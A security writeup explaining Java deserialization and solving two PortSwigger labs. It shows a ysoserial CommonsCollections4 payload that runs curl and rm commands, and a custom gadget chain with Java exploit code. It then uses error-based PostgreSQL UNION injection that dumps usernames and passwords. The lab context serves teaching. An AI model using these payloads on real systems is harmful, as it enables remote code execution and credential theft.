The goal of this writeup is to give a quick walkthrough of practical scenarios of Deserialization vulnerabilities that arise in many programming languages, specifically Java in our case, and how we can go from using a simple pre-built gadget chain to writing our own custom gadget chains and eventually gaining code execution on a target server.
- Note: The background of this writeup is that as a part of a pentest, to display the significance of our findings we were asked to do a breakdown on how security and Java deserialization work together in general, which is honestly a very weird request since it’s totally out-of-scope of a pentest and IMO doesn’t even count as additional “clarification” of a bug. Anyways, I did it, so I must give credits to the writeup that hugely inspired these notes - https://jorgectf.github.io/blog/post/portswigger-java-custom-gadget-chain/ ; thanks for you hard work Jorge, you saved me from a lot of pain :)
1. What even is Deserialization?
Deserialization is the process of building a data object from a stream of bytes (objects and other complex data structures formatted in a certain manner):
The main purpose of serialization itself however would be capturing objects and transferring them in a shareable format.
Before one gets into exploiting a vulnerability, we highly believe he should break down a root cause to the basics and learn how it actually works in the background, for which reason we will cover how basic serialization works in Java.
Serialization & Deserialization in Java:
To demonstrate how the serialization mechanism even works in Java, we will start off with a simple Hacker
class with some properties which are assigned with a constructor.
A constructor is just a simple way to automatically assign values to properties once an object of a class is created in Java.
Note: If we want a class to be serialized we must implement it with the java.io.Serializable
interface.
In case we want to (de)serialize a class, we will have to take use of ObjectInputStream
and ObjectOutputStream
classes since they contain methods used for (de)serialization such as readObject
and writeObject
.
Here, in the given code, we create a hack
object and serialize it, after which we write it to a file ending with .ser
which is a standardized file extension for serialized objects.
If we take a peek at /tmp
we can notice that our serialized object is indeed written to the file:
$ cat /tmp/hacker.ser
??srcom.haker.serialization.Hacker?Ǟ?
??InumberLnametLjava/lang/String;xp9t
CrazyHacker%
Now if we want to read the properties of this object, we can simply read the file and utilize the ObjectInputStream
to create a new instance of the object.
Works! Pretty simple, right?
From here we can conclude ObjectInputStream.readObject()
(hint: it also serves as a magic method just like in PHP) is a very usual entry point to attacks related to this issue.
Exploiting Java Deserialization
After having a core understanding, it’s time to go over to a more practical side.
A big issue with exploiting these kinds of vulnerabilities is that it usually requires finding a gadget, which usually is very time-consuming and requires source code access unless we have luck using pre-built ones.
A gadget is just a piece of code in the codebase which can be taken used of to turn a bug into a vulnerability. At times this requires chaining multiple gadgets until we have something exploitable, which we can call gadget chains.
To practice this, we are going to make use of PortSwigger Labs.
- Pre-Built Gadget Chains:
To learn how to use pre-built gadgets to exploit Insecure Java Deserialization we will make use of the following lab: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons
The goal is to use an Apache Commons Collections library gadget to exploit a serialization mechanism used inside the session
cookie so that we can achieve an RCE and remove a file called morale.txt
remotely.
We can start off by logging in with the following credentials: wiener
:peter
The first thing we can notice while intercepting the traffic inside BurpSuite is that the session cookie looks like a base64 encoded string and starts with a usual fingerprint of a Java serialized object.
You can usually fingerprint serialized Java objects if they start with rO0
in base64 like here, or AC ED 00 05
in hex.
After decoding, it looks very much like our serialized object earlier!
$ echo "rO0ABXNyAC9sY...ABndpZW5lcg==" | base64 -d
??sr/lab.actions.common.serializable.AccessTokenUserQ??'??L
accessTokentLjava/lang/String;usernameq~xpt o83s2p3ha3u19g42bobnpkroao42nyawtwiener
Now, let’s use a tool called ysoserial which has a lot of pre-built gadgets we can use, including the one we need.
You can install it simply by grabbing the latest JAR from https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
Looking at the available gadgets from the help menu (by running java -jar ysoserial-all.jar
) we can notice that there are quite a few of them available:
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
Since in the real world we usually need to have the source code or to leak the class/version through some stack-trace, the best option is just to try every available gadget until one works.
So, after a lot of trial and error, we figured out it’s the CommonsCollections4
gadget.
You can notice a payload failed to a stack-trace such as:
Cannot invoke "java.util.Map.entrySet()" because "streamVals" is null
We can use a DNS interaction to confirm the successful exploit, so something like the following should work to generate the needed base64 + URL-encoded payload:
java -jar ysoserial-all.jar CommonsCollections4 'curl burpcollaborator.net' | base64 | jq -sRr @uri
After replacing the session cookie with the payload we get a successful DNS interaction:
All that is left is to put the following payload inside the session cookie: java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 | jq -sRr @uri
Successful!
- Custom Gadget Chains:
For this practice, we will be using https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization .
The goal of the challenge is to somehow gain the administrator password and remove the user Carlos’s account.
After heading to the starting page we can notice an interesting HTML comment which points to a /backup
directory:
Upon visiting the /backup
we can notice that there’s source code of 2 Java files disclosed:
Let’s download these files locally and take a look.
Inside AccessTokenUser.java
we can notice that it generates a serialized object for the AccessTokenUser
class which most likely is used inside our session cookie which we noticed in the last challenge as well:
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
The session cookie following this format is most likely deserialized in every request, so all we need is a nice gadget to make use of and pass it instead of the original session cookie.
Taking a look at ProductTemplate.java
we start to see a potential gadget:
package data.productcatalog;
import common.db.ConnectionBuilder;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
We can notice that the readObject
method is overriden with the ObjectInputStream
which is the deserialized object.
As noted earlier readObject
works like a magic method in PHP and gets called upon deserialization.
- The bug:
Spotting the bug here is relatively easy, the id
set with the ProductTemplate()
constructor gets passed into a SQL query without any sanitization.. which leads to SQL injection inside the statement.executeQuery(sql)
sink.
We also have to remind ourselves that this will be an SQLi through PostgreSQL, based on the ConnectionBuilder
.
- Creating the exploit:
Before we create an exploit we will need to follow the same project structure as the target codebase.
To set this up we used IntelliJ IDE, but of course, it can be done in any other way you like.
- Setting up the project structure:
-
Inside IntelliJ, create a new Java project.
-
Right click on the
src
directory ->New
->Package
-> inputdata.productcatalog
as seen in the leaked source code. -
Right click on the newly created package ->
New
->Java Class
-> create 2 classes:ProductTemplate
andExploit
Your project structure should look something like this after following the given steps:
- Writting the exploit:
- The first step is to create a replica of the leaked
ProductTemplate
insideProductTemplate.java
, while excluding the unnecessary things such as thetransient
variables since they are skipped during serialization.
package data.productcatalog;
import java.io.Serializable;
public class ProductTemplate implements Serializable {
static final long serialVersionUID = 1L;
private final String id;
public ProductTemplate(String id) {
this.id = id;
}
}
- Note: You must include the
serialVersionUID
since it’s a unique identifier for the class which tells the JVM that the same class is used both during serialization and deserialization.
- Next step would be creating the actual serialized object we will be using for the exploitation inside
Exploit.java
:
package data.productcatalog;
import java.io.*;
import java.util.*;
public class Exploit {
public static void main(String[] args) throws Exception {
String payload = "' SELECT pg_sleep(10);--";
ProductTemplate exp_obj = new ProductTemplate(payload);
String serialized_exploit = serialize(exp_obj);
System.out.println("Exploit object: " + serialized_exploit);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(obj);
String serialized_obj = Base64.getEncoder().encodeToString(out.toByteArray());
return serialized_obj;
}
}
The payload
(which is just a simple time-based SQLi payload for PostgreSQL) is passed to the ProductTemplate
constructor we created earlier which will pass the payload to the SQL query inside the gadget, after which the object is serialized and printed to the stdout with our custom serialize
function (that essentially just serializes an object to a string).
- Compile the exploit:
After compiling the exploit we get our serialized exploit:
- Sending the exploit:
After appending the exploit object to the session cookie the server waits for 10 seconds and then drops an exception.
- FYI: You might be wondering why don’t ysoserial or things like GadgetProbe work? The answer is pretty simple, the given tools fuzz through the codebase with a pattern of known gadgets (which are non-existent here), while in our case we are talking about a custom gadget chain.
Successful! All that is left now is exploring ways to exfiltrate the administrator password with the SQL injection!
- Exfiltrating the administrator password:
Before we go in and start playing with the SQL injection, we adjusted the exploit to make it more interactive and make it work like an interactive console, which makes things much easier:
package data.productcatalog;
import java.io.*;
import java.util.*;
import java.net.http.*;
import java.net.*;
public class Exploit {
public static void main(String[] args) throws Exception {
System.out.print("[?] Target: ");
Scanner target_input = new Scanner(System.in);
String target = target_input.nextLine();
do {
System.out.print("[?] Payload: ");
Scanner payload = new Scanner(System.in);
ProductTemplate exp_obj = new ProductTemplate(payload.nextLine());
String serialized_exploit = serialize(exp_obj);
System.out.println("[*] Exploit object: " + serialized_exploit);
System.out.println("[!] Sending the exploit...");
send_exploit(target, serialized_exploit);
} while (true);
}
public static void send_exploit(String target, String payload) throws Exception {
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(target))
.header("Cookie", "session=" + payload)
.build();
HttpResponse<String> response = client.send(request,
HttpResponse.BodyHandlers.ofString());
for(String line : response.body().split("\n")){
if(line.contains("<p class=is-warning>")){
String output = line
.replace("<p class=is-warning>", "")
.replace("</p>", "")
.replace(" ", "");
System.out.println("[!] Exploit response: \n\n" + output + "\n");
}
}
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(obj);
String serialized_obj = Base64.getEncoder().encodeToString(out.toByteArray());
return serialized_obj;
}
}
Now we can play with the SQLi freely:
Also, based on the response it seems like we will be dealing with an error-based SQLi.
1 . Generally the first step when exploiting SQLis is to first identify the number of columns the table has.
We can do this simply by doing a simple UNION SELECT
and increment the number of columns until we get a different error message (i.e UNION SELECT NULL,...,NULL--
).
It seems like there are 8 number of columns:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: each UNION query must have the same number of columns
[?] Payload: ' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
java.lang.ClassCastException: Cannot cast data.productcatalog.ProductTemplate to lab.actions.common.serializable.AccessTokenUser
- Next thing we need to do is to determine the data type of these columns since our goal will be to return the admin password in the one that is not a
VARCHAR
and avoid the casting issues as well.
While supplying a string in every column one by one we can notice that fields 4,5,6 accept only integers, so by supplying an integer there we can fix the casting exception:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,'hack',NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "hack"
[?] Payload: ' UNION SELECT NULL,NULL,NULL,NULL,'hack',NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "hack"
[?] Payload: ' UNION SELECT NULL,NULL,NULL,NULL,NULL,'hack',NULL,NULL--
java.lang.ClassCastException: Cannot cast data.productcatalog.ProductTemplate to lab.actions.common.serializable.AccessTokenUser
[?] Payload: ' UNION SELECT NULL,NULL,NULL,4,5,6,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched
These are the fields we need since we can get our string to reflect in the error response:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,'hack',NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "hack"
- Now it’s time to explore the database and locate where the user passwords could be located.
We can list the database from pg_database
but the following sub-query triggers an error:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,(SELECT datname FROM pg_database),NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types integer and name cannot be matched
We need to convert the final output to an integer, it can be done via ::{data-type}
or CAST('{str}' AS {data-type})
in PostgreSQL:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,(SELECT datname FROM pg_database)::int,NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: more than one row returned by a subquery used as an expression
We can figure out database names with the following query with STRING_AGG()
which per docs concats an array of strings and puts a separator between them - exactly what we need:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT STRING_AGG(datname, ', ') FROM pg_database) AS int),NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "postgres, template1, template0"
We have the database names, next step is to find the useful tables inside them:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT STRING_AGG(table_name, ', ') FROM information_schema.tables) AS int),NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "users, products, pg_statistic, pg_type, pg_foreign_server, pg_authid, pg_shadow, pg_statistic_ext_data, pg_roles, pg_settings, pg_file_settings, pg_hba_file_rules, pg_config, pg_cursors, pg_user_mapping, pg_stat_bgwriter, pg_replication_origin_status, pg_subscription, pg_stat_progress_vacuum, pg_stat_progress_cluster, pg_attribute, pg_proc, pg_class, pg_attrdef, pg_constraint, pg_inherits, pg_index, pg_operator, pg_opfamily, pg_opclass, pg_am, pg_amop, pg_amproc, pg_language, pg_largeobject_metadata, pg_aggregate, pg_stat_progress_create_index, pg_user_mappings, pg_largeobject, pg_statistic_ext, pg_rewrite, pg_trigger, pg_event_trigger, pg_description, pg_cast, pg_enum, pg_namespace, pg_conversion, pg_depend, pg_database, pg_db_role_setting, pg_tablespace, pg_pltemplate, pg_auth_members, pg_shdepend, pg_shdescription, pg_ts_config, pg_ts_config_map, pg_ts_dict, pg_ts_parser, pg_ts_template, pg_extension, pg_foreign_data_wrapper, pg_foreign_table, pg_policy, pg_replication_origin, pg_default_acl, pg_init_privs, pg_seclabel, pg_shseclabel, pg_collation, pg_partitioned_table, pg_range, pg_transform, pg_sequence, pg_publication, pg_publication_rel, pg_subscription_rel, pg_group, pg_user, pg_policies, pg_rules, pg_views, pg_tables, pg_matviews, pg_indexes, pg_sequences, pg_stats, pg_stats_ext, pg_publication_tables, pg_locks, pg_available_extensions, pg_available_extension_versions, pg_prepared_xacts, pg_prepared_statements, pg_seclabels, pg_statio_sys_tables, pg_timezone_abbrevs, pg_timezone_names, pg_statio_user_tables, pg_stat_all_tables, pg_stat_xact_all_tables, pg_stat_sys_tables, pg_stat_xact_sys_tables, pg_stat_user_tables, pg_stat_xact_user_tables, pg_statio_all_tables, pg_stat_all_indexes, pg_stat_sys_indexes, pg_stat_user_indexes, pg_statio_all_indexes, pg_statio_sys_indexes, pg_statio_user_indexes, pg_statio_all_sequences, pg_statio_sys_sequences, pg_statio_user_sequences, pg_stat_activity, pg_stat_replication, pg_stat_wal_receiver, pg_stat_subscription, pg_stat_ssl, pg_stat_gssapi, pg_replication_slots, pg_stat_database, pg_stat_database_conflicts, pg_stat_user_functions, pg_stat_xact_user_functions, pg_stat_archiver, information_schema_catalog_name, check_constraint_routine_usage, applicable_roles, administrable_role_authorizations, collation_character_set_applicability, attributes, check_constraints, character_sets, collations, column_domain_usage, column_column_usage, column_privileges, column_udt_usage, columns, constraint_column_usage, schemata, constraint_table_usage, domain_constraints, sql_packages, domain_udt_usage, sequences, domains, enabled_roles, key_column_usage, parameters, referential_constraints, sql_features, role_column_grants, routine_privileges, role_routine_grants, routines, sql_implementation_info, sql_parts, sql_languages, sql_sizing, sql_sizing_profiles, table_constraints, table_privileges, role_table_grants, views, tables, transforms, triggered_update_columns, _pg_foreign_servers, triggers, data_type_privileges, udt_privileges, role_udt_grants, usage_privileges, element_types, role_usage_grants, user_defined_types, _pg_foreign_table_columns, view_column_usage, view_routine_usage, view_table_usage, foreign_server_options, column_options, _pg_foreign_data_wrappers, foreign_data_wrapper_options, foreign_tables, foreign_data_wrappers, foreign_servers, _pg_foreign_tables, foreign_table_options, _pg_user_mappings, user_mappings, user_mapping_options"
A table that catches our eyes right away is the users
table, let’s dump its columns:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT STRING_AGG(column_name, ', ') FROM information_schema.columns WHERE table_name = 'users') AS int),NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "username, password"
Getting close! All that is left is to get the usernames and passwords from the table:
[?] Payload: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT STRING_AGG(username, ', ') FROM users) AS int),NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "administrator, carlos, wiener"
[?] Payload: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT STRING_AGG(password, ', ') FROM users) AS int),NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "kmpunqxjnjoyfy5rliig, j83sc3kt2scx6nlu6rvd, peter"
[?] Payload: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT password FROM users WHERE username = 'administrator') AS int),NULL,NULL,NULL,NULL--
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "kmpunqxjnjoyfy5rliig"
Finally, we have all the username: and password combinations and we can log in as administrator with the kmpunqxjnjoyfy5rliig
password!
The final payload was: ' UNION SELECT NULL,NULL,NULL,CAST((SELECT password FROM users WHERE username = 'administrator') AS int),NULL,NULL,NULL,NULL--
Challenge solved!
Outro
Thanks for reading this little writeup on Java Deserialization and we hope it helped get through these exercises more easily :)